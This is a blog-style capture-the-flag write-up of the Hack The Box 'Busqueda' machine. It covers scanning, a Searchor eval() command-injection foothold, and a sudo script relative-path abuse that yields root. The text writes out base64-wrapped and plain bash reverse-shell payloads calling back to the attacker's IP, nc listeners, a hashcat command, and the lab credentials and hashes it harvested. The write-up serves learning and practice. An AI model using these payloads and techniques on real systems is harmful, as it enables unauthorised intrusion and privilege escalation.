Skip to main content

Busqueda

·2168 words·11 mins
Emil Pawlak
Author
Emil Pawlak
Aspiring Pentester | SOC Analyst | Web Developer
Table of Contents

Enumeration

nmap

I ran my nmap scan and found both HTTP and SSH opened. Given that SSH is likely used later and that we don’t have any credentials I checked the website. When i accessed it I noticed that I got a domain name rather than an IP in my URL - searcher.htb - I added it into my /etc/hosts.

nmap scan results
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:09 CEST
Nmap scan report for 10.129.228.217
Host is up (0.028s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/5%OT=22%CT=1%CU=31695%PV=Y%DS=2%DC=I%G=Y%TM=69D18C3B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F9%GCD
OS:=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2
OS:NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W
OS:3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for 10.129.228.217
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1008.62 seconds

HTTP

After then I was greeted with a simple website with a form that lets you pick a search engine and look for data with a selected one. In the background I ran ffuf -u https://searcher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt to look for interesting directories and ffuf -u https://searcher.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.searcher.htb" for subdomains. Those results came back empty. There were also no comments in the website code.

Looking into the POST request with BurpSuite I noticed that the request changes depending if we check the “Auto redirect” box. Without the box checked - engine=DuckDuckGo&query=%2Fetc%2Fpasswd With the box checked - engine=DuckDuckGo&query=%2Fetc%2Fpasswd&auto_redirect=

Manual attempts at LFI didn’t work as the website filters / into their encoded %2F. I tried using multiple //, encoding and double-encoding dashes myself and using \ before and after them to confuse the filter, but it didn’t work. I tested for an RFI inputting http://127.0.0.1:80/../../etc/passwd into different parameters without any results.

I also looked through the engines to see if there isn’t a one that could be taken advantage of but I didn’t find such one. Too bad as we can make the server perform requests outside on our behalf and so this seems like such an opportunity for SSRF. I also can’t add custom engines in the POST request itself as it doesn’t go through.

I remembered that I saw IppSec using an SSTI (Server-Side Template Injection) method. SSTI is a vulnerability when user input is injected into a template engine (Flask uses one) to execute a payload as a template code. Template code is used to generate dynamic text like Hello {{username}}! to get Hello Azaeir! and such. I googled and found few payloads, interestingly when I run one of them it changed the response behavior. Weirdly enough engine=DuckDuckGo&query=<SSTI payload> and engine=DuckDuckGo&query=' both give the same empty response. This could be a strong error-based SSTI detection indicator or me just breaking the sites logic.

I tried a lot of different payloads and approaches to influence the template engine to no avail. I noticed that ' symbol is the one that makes the response blank. I was hoping that it was escaping some placeholder, script, or a function but I think even if it does, I can’t seem to take advantage of it.

Foothold

As I felt that I have fallen into a small rabbit hole with it, I decided to scope out of it and look for some public exploits. Wappalyzer found a lot of different components of the website so I went through some of them and Flask itself too. I found some GitHub repos taking about an exploit (Arbitrary CMD Injection) for Searchor 2.4.0 and 2.4.2, this could be what I’m looking for.

Reading up on the vulnerability, it comes from a vulnerable eval() function which is really funny as I just did the Craft machine which also took advantage of this insecure function!

So, I cloned this exploit to my local machine, run nc -lnvp 1337 and followed the syntax mentioned in the repository and in the script contents and got shell on the target host. What is actually pretty interesting about this shell is that it uses python as an execution method evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment" for a payload which is actually in encoded bash rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64).

svc

On the target machine I was spawned in as a svc user. I looked manually for some interesting information, found the user flag but nothing at /home gave me way further although there was a .git file on it. I went back into the home directory of the user at /var/www/app and looked around for some other possible priv-esc vectors. In those files I found a .git folder which holds an initial repo commit data. In this data, I found a config file which hold a url that links the local repository with a remote one. This link hold embedded credentials for the user cody.

cody:jh1usoih2bkjaspwe92

I suspect that similar simple security vectors finally made Microsoft enforce a token authentication within GitHub. Besides the credentials we can also see another subdomain gitea.searcher.htb. I will add it into /etc/hosts just in case.

Privilege Escalation

Cody

Let’s try to authenticate into SSH with the new credentials and hope that the user reused their creds. Sadly they didn’t work on SSH but I accessed gitea.searcher.htb via browser and authenticated as cody - it went through.

Gitea seems to be a self-hosted git platform, similar to gogs - which is another similarity to Craft On it, I found a repository where cody and Administrator worked on the searcher webapp. I reviewed the code thoroughly, logic that is used to POST the search request looks quite vulnerable at the first glace.

if engine in Engine.__members__.keys():
	arg_list = ['searchor', 'search', engine, query]
	r = subprocess.run(arg_list, capture_output=True)
	url = r.stdout.strip().decode()

The script uses subprocesses library in Python which is generally used to call and execute other tools on the host like nc to make a script run a listener. This script takes user’s input (“engine” and “query”) and uses it to run the searchor, then returns its output (or redirects to it) without validating how that tool handles the input. The vulnerable part here is that there are no filters for a user, it supplies user input directly into the function’s logic.

I tried to test some payloads but none of them worked, unfortunately it looks like It won’t work. subprocess.run passes the input as a literal argument no matter what I put in there and not matter how I try to escape it. My payloads won’t get executed unless searchor itself would somehow mishandle them internally but that didn’t happen.

I decided to scope out from the gitea and try to do some more priv-esc enumeration before I ran any automated tools. Running sudo -l -S I got some information.

Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

It looks like my correct user has full root rights over the /opt/scripts/system-checkup.py python scripts.

sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py -h
<SNIP>
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Reading up on the help page, I can see that I can enumerate running containers.

svc@busqueda:/$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
<in/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS        PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 years ago   Up 24 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 years ago   Up 24 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Seeing the mysql_db container I looked up what data can be actually inspected, “.Config.Env” is a metadata field which gives basic configuration information and present variables of the container. I tried to run it like that sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect .Config.Env mysql_db but it didn’t work. I tried sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ".Config.Env" mysql_db but it also didn’t work. Finally I found that in Go language, metadata is also parsed with double {’s so I tried with them sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.Config.Env}} mysql_db and it worked.

Inside, I actually found some credentials - “MYSQL_ROOT_PASSWORD”, “MYSQL_USER” and “MYSQL_PASSWORD”.

svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect "{{.Config.Env}}" mysql_db
<heckup.py docker-inspect "{{.Config.Env}}" mysql_db
[MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF MYSQL_USER=gitea MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh MYSQL_DATABASE=gitea PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOSU_VERSION=1.14 MYSQL_MAJOR=8.0 MYSQL_VERSION=8.0.31-1.el8 MYSQL_SHELL_VERSION=8.0.31-1.el8]

I assume that this is how the credentials should be related.

gitea:yuiu1hoiu4i5ho1uh
root:jI86kGUuj87guWr3RyF

I tried to connect to the database with this command, but it didn’t work mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 which is unusual. Then I tried mysql -u gitea -p -h 127.0.0.1 -P 3306 to no avail.

I gave up on connecting to the mysql directly, this could be an issue with my shell and spawning another tool locally, so I just run commands one-by-one like so:

svc@busqueda:/var/www/app$ mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e "SHOW DATABASES;"
<SNIP>
Database
gitea
information_schema
performance_schema

Then I looked at the tables:

mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e "USE gitea; SHOW TABLES;"
<SNIP>
watch
webauthn_credential
webhook

And enumerated user data:

mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e "USE gitea; SELECT * FROM user";

The information came out really scuffed, so I spent some time formatting it to be actually readable.

id	lower_name	name	full_name	email	keep_email_private	email_notifications_preference	passwd	passwd_hash_algo	must_change_password	login_type	login_source	login_nametype	location	website	rands	salt	language	description	created_unix	updated_unix	last_login_unix	last_repo_visibility	max_repo_creation	is_active	is_admin	is_restricted	allow_git_hook	allow_import_local	allow_create_organization	prohibit_login	avatar	avatar_email	use_custom_avatar	num_followers	num_following	num_stars	num_reposnum_teams	num_members	visibility	repo_admin_change_team_access	diff_view_style	theme	keep_activity_private
1	administrator	administrator		administrator@gitea.searcher.htb	0	enabled	ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2	pbkdf2	0	0	0		0			44748ed806accc9d96bf9f495979b742	a378d3f64143b284f104c926b8b49dfb	en-US		1672857920	1680531979	1673083022	1-1	1	1	0	0	0	1	0		administrator@gitea.searcher.htb	0	0	0	0	1	0	0	0	0		auto	0
2	cody	cody		cody@gitea.searcher.htb	0	enabled	b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e	pbkdf2	0	0	0		0304b5a2ce88b6d989ea5fae74cc6b3f3	d1db0a75a18e50de754be2aafcad5533	en-US		1672858006	1680532283	1680532243	1	-1	1	0	0	0	0	1	0cody@gitea.searcher.htb	0	0	0	0	1	0	0	0	0		auto	0

Here’s the data in a table:

IDNameEmailPasswordAlgorithmSalt
1administratoradministrator@gitea.searcher.htbba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2pbkdf2a378d3f64143b284f104c926b8b49dfb
2codycody@gitea.searcher.htbb1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82epbkdf2d1db0a75a18e50de754be2aafcad5533

What I see here are PBKDF2-HMAC-SHA256 password hashes. I have the password itself, algorythm mentioned and salt but I do not know the amount of the hashing iterations the passwords went through. This information is important to be able to actually crack the password. From my googling it seems like 50000 iterations is a standard. hashcat -m 10900 'sha256:50000:a378d3f64143b284f104c926b8b49dfb:ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2' wordlist.txt I ran this for a long time but nothing came out and it took too long so I pivoted to other possible vectors.

I thought of xp_cmdshell but it’s only on MSSQL and not on MySQLs. I tried reading and writing files but It didn’t work. I checked it with mysql -u root -pjI86kGUuj87guWr3RyF -h 127.0.0.1 -P 3306 -e "show variables like 'secure_file_priv'"; and it looks that mysql is restricted to only read and write files in /var/lib/mysql-files/.

Administrator

Quite disappointingly I ran out of ideas and tried to authenticate with the credentials I have to SSH and later to Gitea. Turns out that Administrator:yuiu1hoiu4i5ho1uh is a valid combo. This is a bit weird as the “root” password for the DB is different. I guess this just shows that it’s important to check every possible combination of acquired credentials.

I was able to access administrators gitea and enumerate the scripts inside, the one inside is system-checkup.py. From the code I learned that the scripts looks for a relative path when running full-checkup and want to run ./full-checkup.py.

I can create a bash reverse shell and rename it to full-checkup.py so that the script reads and executes my shell in process elevating my privileges. First I create the payload with echo -N "bash -c 'bash -i >& /dev/tcp/10.10.15.189/1338 0>&1;'" > full-checkup.sh change permissions so that it can be executed chmod +x full-checkup.sh and lastly I start a listener with nc -lnvp 1338.

Then when I run sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup and get a shell as root.

Closing Thoughts

Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It’s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!